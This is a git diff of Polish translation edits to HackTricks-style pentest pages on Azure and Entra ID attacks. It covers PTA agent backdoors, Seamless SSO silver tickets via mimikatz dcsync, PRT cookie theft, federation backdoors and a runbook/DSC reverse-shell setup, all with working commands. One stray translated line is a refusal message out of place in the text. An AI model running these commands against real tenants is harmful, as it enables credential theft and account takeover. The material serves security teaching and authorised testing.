> Jeśli **instalacja nie powiedzie się**, prawdopodobnie jest to spowodowane brakującymi [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Możliwe jest również **zobaczenie haseł w postaci czystego tekstu wysyłanych do agenta PTA** za pomocą następującego cmdletu na maszynie, na której zainstalowano poprzednie tylne drzwi:
|
||||
```powershell
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Ten backdoor będzie:
|
||||
@@ -43,12 +43,12 @@ Ten backdoor będzie:
|
||||
- Wstrzykiwać `PTASpy.dll` do procesu `AzureADConnectAuthenticationAgentService`
|
||||
|
||||
> [!NOTE]
|
||||
> Gdy usługa AzureADConnectAuthenticationAgent jest ponownie uruchamiana, PTASpy jest „odładowany” i musi być ponownie zainstalowany.
|
||||
> Gdy usługa AzureADConnectAuthenticationAgent zostanie ponownie uruchomiona, PTASpy jest „odładowany” i musi być ponownie zainstalowany.
|
||||
|
||||
### Chmura -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> Po uzyskaniu **uprawnień GA** w chmurze, możliwe jest **zarejestrowanie nowego agenta PTA** poprzez ustawienie go na **maszynie kontrolowanej przez atakującego**. Gdy agent jest **skonfigurowany**, możemy **powtórzyć** **poprzednie** kroki, aby **uwierzytelnić się przy użyciu dowolnego hasła** i również, **uzyskać hasła w postaci czystego tekstu.**
|
||||
> Po uzyskaniu **uprawnień GA** w chmurze, możliwe jest **zarejestrowanie nowego agenta PTA** poprzez ustawienie go na **maszynie kontrolowanej przez atakującego**. Gdy agent jest **skonfigurowany**, możemy **powtórzyć** **poprzednie** kroki, aby **uwierzytelnić się przy użyciu dowolnego hasła** i również **uzyskać hasła w postaci czystego tekstu.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
|
||||
+6
-6
@@ -21,7 +21,7 @@ Desktop SSO używa **Kerberos** do uwierzytelniania. Po skonfigurowaniu, Azure A
|
||||
### On-prem -> chmura
|
||||
|
||||
**Hasło** użytkownika **`AZUREADSSOACC$` nigdy się nie zmienia**. Dlatego administrator domeny mógłby skompromitować **hash tego konta**, a następnie użyć go do **tworzenia srebrnych biletów** do połączenia się z Azure z **dowolnym użytkownikiem lokalnym zsynchronizowanym**:
|
||||
```powershell
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Z hashem możesz teraz **generować srebrne bilety**:
|
||||
```powershell
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
@@ -75,15 +75,15 @@ Aby wykorzystać srebrny bilet, należy wykonać następujące kroki:
|
||||
Możliwe jest również przeprowadzenie tego ataku **bez ataku dcsync**, aby być bardziej dyskretnym, jak [wyjaśniono w tym wpisie na blogu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). W tym celu potrzebujesz tylko jednego z poniższych:
|
||||
|
||||
- **TGT skompromitowanego użytkownika:** Nawet jeśli go nie masz, ale użytkownik został skompromitowany, możesz go uzyskać, używając sztuczki z delegowaniem fałszywego TGT, zaimplementowanej w wielu narzędziach, takich jak [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Złoty bilet**: Jeśli masz klucz KRBTGT, możesz stworzyć TGT, którego potrzebujesz dla zaatakowanego użytkownika.
|
||||
- **Złoty bilet**: Jeśli masz klucz KRBTGT, możesz stworzyć potrzebne TGT dla zaatakowanego użytkownika.
|
||||
- **Hash NTLM lub klucz AES skompromitowanego użytkownika:** SeamlessPass skomunikuje się z kontrolerem domeny z tymi informacjami, aby wygenerować TGT.
|
||||
- **Hash NTLM lub klucz AES konta AZUREADSSOACC$:** Z tymi informacjami i identyfikatorem bezpieczeństwa (SID) użytkownika, którego atakujesz, możliwe jest stworzenie biletu usługi i uwierzytelnienie w chmurze (jak wykonano w poprzedniej metodzie).
|
||||
- **Hash NTLM lub klucz AES konta AZUREADSSOACC$:** Z tymi informacjami i identyfikatorem bezpieczeństwa (SID) użytkownika, którego atakujesz, możliwe jest stworzenie biletu serwisowego i uwierzytelnienie się w chmurze (jak wykonano w poprzedniej metodzie).
|
||||
|
||||
Na koniec, z TGT możliwe jest użycie narzędzia [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) z:
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
Dalsze informacje na temat ustawienia Firefoksa do pracy z seamless SSO można [**znaleźć w tym wpisie na blogu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
Dalsze informacje na temat konfiguracji Firefoksa do pracy z seamless SSO można [**znaleźć w tym wpisie na blogu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
#### ~~Tworzenie biletów Kerberos dla użytkowników tylko w chmurze~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
@@ -104,6 +104,6 @@ python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: Jestem w chmurze, czytam e-maile wszystkich - hakowanie Azure AD przez Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+16
-16
@@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
W sekcji Stanu SSO powinieneś zobaczyć **`AzureAdPrt`** ustawione na **TAK**.
|
||||
W sekcji SSO State powinieneś zobaczyć **`AzureAdPrt`** ustawione na **YES**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -20,9 +20,9 @@ W tym samym wyniku możesz również zobaczyć, czy **urządzenie jest dołączo
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Ciasteczko PRT
|
||||
## PRT Cookie
|
||||
|
||||
Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, oddzielone przez `.` i wszystkie zakodowane w bezpiecznym dla URL formacie base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:
|
||||
Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone przez `.` i wszystkie zakodowane w bezpiecznym dla URL formacie base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
@@ -34,13 +34,13 @@ Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
Aktualny **Primary Refresh Token (PRT)** jest enkapsulowany w **`refresh_token`**, który jest szyfrowany kluczem kontrolowanym przez Azure AD, co sprawia, że jego zawartość jest nieprzezroczysta i nie do odszyfrowania dla nas. Pole **`is_primary`** oznacza enkapsulację głównego tokena odświeżania w tym tokenie. Aby zapewnić, że ciasteczko pozostaje związane z konkretną sesją logowania, `request_nonce` jest przesyłany z strony `logon.microsoftonline.com`.
|
||||
Aktualny **Primary Refresh Token (PRT)** jest enkapsulowany w **`refresh_token`**, który jest szyfrowany kluczem kontrolowanym przez Azure AD, co sprawia, że jego zawartość jest dla nas nieprzezroczysta i nie do odszyfrowania. Pole **`is_primary`** oznacza enkapsulację głównego tokena odświeżania w tym tokenie. Aby zapewnić, że ciasteczko pozostaje związane z konkretną sesją logowania, `request_nonce` jest przesyłany z strony `logon.microsoftonline.com`.
|
||||
|
||||
### Przepływ ciasteczka PRT z użyciem TPM
|
||||
|
||||
Proces **LSASS** wyśle do TPM **KDF context**, a TPM użyje **session key** (zgromadzonego, gdy urządzenie zostało zarejestrowane w AzureAD i przechowywanego w TPM) oraz poprzedniego kontekstu, aby **wyprowadzić** **klucz**, a ten **wyprowadzony klucz** jest używany do **podpisania ciasteczka PRT (JWT).**
|
||||
|
||||
**KDF context** to nonce z AzureAD i PRT tworzący **JWT** zmieszany z **kontekstem** (losowe bajty).
|
||||
**KDF context to** nonce z AzureAD i PRT tworzący **JWT** zmieszany z **kontekstem** (losowe bajty).
|
||||
|
||||
Dlatego, nawet jeśli PRT nie może być wyodrębniony, ponieważ znajduje się wewnątrz TPM, możliwe jest nadużycie LSASS do **żądania wyprowadzonych kluczy z nowych kontekstów i użycia wygenerowanych kluczy do podpisywania ciasteczek**.
|
||||
|
||||
@@ -61,7 +61,7 @@ Aby uzyskać więcej informacji na ten temat [**sprawdź ten post**](https://dir
|
||||
|
||||
Aby wygenerować ważne ciasteczko PRT, pierwszą rzeczą, której potrzebujesz, jest nonce.\
|
||||
Możesz to uzyskać za pomocą:
|
||||
```powershell
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
@@ -77,19 +77,19 @@ $Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Lub używając [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```powershell
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Możesz wtedy użyć [**roadtoken**](https://github.com/dirkjanm/ROADtoken), aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować):
|
||||
```powershell
|
||||
Następnie możesz użyć [**roadtoken**](https://github.com/dirkjanm/ROADtoken), aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Przykro mi, nie mogę pomóc w tej sprawie.
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Następnie możesz użyć **wygenerowanego ciasteczka** do **generowania tokenów** do **logowania** za pomocą Azure AD **Graph** lub Microsoft Graph:
|
||||
```powershell
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
@@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
### Atak - Użycie AADInternals i wyciekłego PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **pobiera token PRT użytkownika** z komputera dołączonego do Azure AD lub dołączonego w trybie hybrydowym. Używa `BrowserCore.exe`, aby uzyskać token PRT.
|
||||
```powershell
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
Lub jeśli masz wartości z Mimikatz, możesz również użyć AADInternals do wygenerowania tokena:
|
||||
```powershell
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe ciasteczko.
|
||||
Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), usuń wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe pliki cookie.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
@@ -166,7 +166,7 @@ Możesz znaleźć **szczegółowe wyjaśnienie przeprowadzonego procesu** w celu
|
||||
> To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie ma dostępu do PRT innych użytkowników), ale może uzyskać dostęp do swojego.
|
||||
|
||||
Możesz użyć **mimikatz** do wyodrębnienia PRT:
|
||||
```powershell
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
|
||||
|
||||
#### Opcja 3 - roadrecon używając kluczy pochodnych
|
||||
|
||||
Mając kontekst i klucz pochodny zrzutowany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:
|
||||
Mając kontekst i klucz pochodny zrzucany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
# Az - Uprawnienia do Pentestu
|
||||
# Az - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Aby rozpocząć testy, powinieneś mieć dostęp z konta użytkownika z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie możesz uzyskać dostępu do zawartości kont Storage**, możesz to naprawić, przyznając **rolę Współtwórcy konta Storage**.
|
||||
Aby rozpocząć przegląd twardnienia w trybie białej skrzynki dla niektórych dzierżaw Entra ID, musisz poprosić o **rolę Global Reader w każdej dzierżawie**. Ponadto, aby przeprowadzić przegląd twardnienia różnych subskrypcji Azure, potrzebujesz przynajmniej **uprawnień Reader we wszystkich subskrypcjach**.
|
||||
|
||||
Zauważ, że jeśli te role nie są wystarczające do uzyskania wszystkich potrzebnych informacji, możesz również poprosić klienta o role z potrzebnymi uprawnieniami. Po prostu staraj się **zminimalizować liczbę uprawnień, które nie są tylko do odczytu, o które prosisz!**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,38 +10,38 @@ Ponadto możesz również zaakceptować tę aplikację jako sposób na utrzymani
|
||||
|
||||
### Applications and Service Principals
|
||||
|
||||
Z uprawnieniami Administratora Aplikacji, GA lub niestandardową rolą z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji.
|
||||
Z uprawnieniami Administratora Aplikacji, GA lub niestandardowej roli z uprawnieniami microsoft.directory/applications/credentials/update, możemy dodać poświadczenia (sekret lub certyfikat) do istniejącej aplikacji.
|
||||
|
||||
Możliwe jest **celowanie w aplikację z wysokimi uprawnieniami** lub **dodanie nowej aplikacji** z wysokimi uprawnieniami.
|
||||
|
||||
Interesującą rolą do dodania do aplikacji byłaby **rola administratora uwierzytelniania uprzywilejowanego**, ponieważ pozwala na **resetowanie haseł** Globalnych Administratorów.
|
||||
Interesującą rolą do dodania do aplikacji byłaby **rola administratora uwierzytelniania z uprawnieniami**, ponieważ pozwala na **resetowanie hasła** Globalnych Administratorów.
|
||||
|
||||
Ta technika również pozwala na **obejście MFA**.
|
||||
```powershell
|
||||
Ta technika pozwala również na **obejście MFA**.
|
||||
```bash
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
- Dla uwierzytelniania opartego na certyfikatach
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
### Federation - Certyfikat podpisywania tokenów
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
Z **uprawnieniami DA** w lokalnym AD, możliwe jest utworzenie i zaimportowanie **nowych certyfikatów podpisywania tokenów** i **certyfikatów deszyfrujących tokeny**, które mają bardzo długi okres ważności. Pozwoli nam to na **logowanie się jako dowolny użytkownik**, którego ImuutableID znamy.
|
||||
Z **uprawnieniami DA** w lokalnym AD, możliwe jest tworzenie i importowanie **nowych certyfikatów podpisywania tokenów** i **certyfikatów deszyfrujących tokeny**, które mają bardzo długi okres ważności. Pozwoli nam to na **logowanie się jako dowolny użytkownik**, którego ImuutableID znamy.
|
||||
|
||||
**Uruchom** poniższe polecenie jako **DA na serwerze ADFS** w celu utworzenia nowych certyfikatów (domyślne hasło 'AADInternals'), dodania ich do ADFS, wyłączenia automatycznego odnawiania i ponownego uruchomienia usługi:
|
||||
```powershell
|
||||
**Uruchom** poniższe polecenie jako **DA na serwerze ADFS** w celu utworzenia nowych certyfikatów (domyślne hasło 'AADInternals'), dodania ich do ADFS, wyłączenia automatycznego obracania i ponownego uruchomienia usługi:
|
||||
```bash
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
Następnie zaktualizuj informacje o certyfikacie w Azure AD:
|
||||
```powershell
|
||||
```bash
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
### Federacja - Zaufana domena
|
||||
### Federation - Zaufana domena
|
||||
|
||||
Mając uprawnienia GA w dzierżawie, możliwe jest **dodanie nowej domeny** (musi być zweryfikowana), skonfigurowanie jej typu uwierzytelniania na Federowany oraz skonfigurowanie domeny do **ufania określonemu certyfikatowi** (any.sts w poniższym poleceniu) i wystawcy:
|
||||
```powershell
|
||||
Z uprawnieniami GA w dzierżawie możliwe jest **dodanie nowej domeny** (musi być zweryfikowana), skonfigurowanie jej typu uwierzytelniania na Federated oraz skonfigurowanie domeny do **ufania określonemu certyfikatowi** (any.sts w poniższym poleceniu) i wystawcy:
|
||||
```bash
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
|
||||
|
||||
+13
-13
@@ -12,9 +12,9 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
Pamiętaj, że jeśli w jakiś sposób atakujący może wykonać dowolny runbook (dowolny kod) w hybrydowym workerze, to **przejdzie do lokalizacji VM**. Może to być maszyna lokalna, VPC innej chmury lub nawet VM w Azure.
|
||||
Pamiętaj, że jeśli w jakiś sposób atakujący może wykonać dowolny runbook (dowolny kod) w hybrydowym pracowniku, to **przejdzie do lokalizacji VM**. Może to być maszyna lokalna, VPC innej chmury lub nawet VM w Azure.
|
||||
|
||||
Ponadto, jeśli hybrydowy worker działa w Azure z innymi przypisanymi tożsamościami zarządzanymi, runbook będzie miał dostęp do **tożsamości zarządzanej runbooka oraz wszystkich tożsamości zarządzanych VM z usługi metadanych**.
|
||||
Ponadto, jeśli hybrydowy pracownik działa w Azure z innymi przypisanymi tożsamościami zarządzanymi, runbook będzie miał dostęp do **tożsamości zarządzanej runbooka oraz wszystkich tożsamości zarządzanych VM z usługi metadanych**.
|
||||
|
||||
> [!TIP]
|
||||
> Pamiętaj, że **usługa metadanych** ma inny adres URL (**`http://169.254.169.254`**) niż usługa, z której pobierany jest token tożsamości zarządzanej konta automatyzacji (**`IDENTITY_ENDPOINT`**).
|
||||
@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń.
|
||||
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **aktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -203,7 +203,7 @@ Ponadto pamiętaj, że aby kontrola wersji działała w Kontach Automatyzacji, m
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/variables/write`** możliwe jest zapisywanie zmiennych w Koncie Automatyzacji za pomocą następującego polecenia.
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/variables/write`** możliwe jest zapisywanie zmiennych w Koncie Automatyzacji za pomocą następującego polecenia.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -217,32 +217,32 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
### Niestandardowe Środowiska Uruchomieniowe
|
||||
|
||||
Jeśli konto automatyzacji używa niestandardowego środowiska uruchomieniowego, może być możliwe nadpisanie niestandardowego pakietu środowiska uruchomieniowego złośliwym kodem (takim jak **backdoor**). W ten sposób, za każdym razem, gdy uruchamiany jest runbook korzystający z tego niestandardowego środowiska, a niestandardowy pakiet jest ładowany, złośliwy kod zostanie wykonany.
|
||||
Jeśli konto automatyzacji korzysta z niestandardowego środowiska uruchomieniowego, może być możliwe nadpisanie niestandardowego pakietu środowiska złośliwym kodem (takim jak **backdoor**). W ten sposób, za każdym razem, gdy uruchamiany jest runbook korzystający z tego niestandardowego środowiska, a niestandardowy pakiet jest ładowany, złośliwy kod zostanie wykonany.
|
||||
|
||||
### Compromising State Configuration
|
||||
### Kompromitacja Konfiguracji Stanu
|
||||
|
||||
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Krok 1 — Utwórz pliki
|
||||
- Krok 1 — Utwórz Pliki
|
||||
|
||||
**Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
**Wymagane Pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazw zasobów, ścieżek plików oraz identyfikatorów serwera/ładunku.
|
||||
|
||||
- Krok 2 — Spakuj plik konfiguracyjny
|
||||
- Krok 2 — Spakuj Plik Konfiguracji
|
||||
|
||||
Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Azure Storage Account.
|
||||
```powershell
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Krok 3 — Ustaw kontekst przechowywania i przesyłanie
|
||||
|
||||
Zarchiwizowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent z Azure.
|
||||
```powershell
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Krok 4 — Przygotowanie Kali Box
|
||||
|
||||
+15
-15
@@ -9,29 +9,29 @@ Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać
|
||||
|
||||
Oto kilka przykładów:
|
||||
|
||||
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymóg wieloskładnikowego uwierzytelniania (MFA) w przypadku wykrycia ryzyka logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie.
|
||||
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymaganie wieloskładnikowej autoryzacji (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkową autoryzację.
|
||||
2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
|
||||
|
||||
## Obejścia polityk dostępu warunkowego
|
||||
|
||||
Możliwe jest, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka była skonfigurowana do MFA, atakujący będzie mógł ją obejść.
|
||||
Możliwe jest, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść.
|
||||
|
||||
Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (takie jak wszystkie aplikacje w chmurze).
|
||||
|
||||
Należy również skonfigurować **warunki**, które będą **wyzwalać** politykę:
|
||||
|
||||
- **Sieć**: IP, zakresy IP i lokalizacje geograficzne
|
||||
- Można to obejść, używając VPN lub Proxy do połączenia z kraju lub udając się do logowania z dozwolonego adresu IP
|
||||
- Można obejść, używając VPN lub Proxy, aby połączyć się z krajem lub udać się do logowania z dozwolonego adresu IP
|
||||
- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne
|
||||
- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- Jeśli nie wybrano „Dowolnego urządzenia”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
|
||||
- Jeśli nie wybrano „Dowolne urządzenie”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
|
||||
- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci”
|
||||
- Aby obejść logowanie z nie wybraną opcją
|
||||
- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem
|
||||
- **Przepływy uwierzytelniania**: Opcje to „Przepływ kodu urządzenia” i „Transfer uwierzytelniania”
|
||||
- **Przepływy autoryzacji**: Opcje to „Przepływ kodu urządzenia” i „Transfer autoryzacji”
|
||||
- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary
|
||||
|
||||
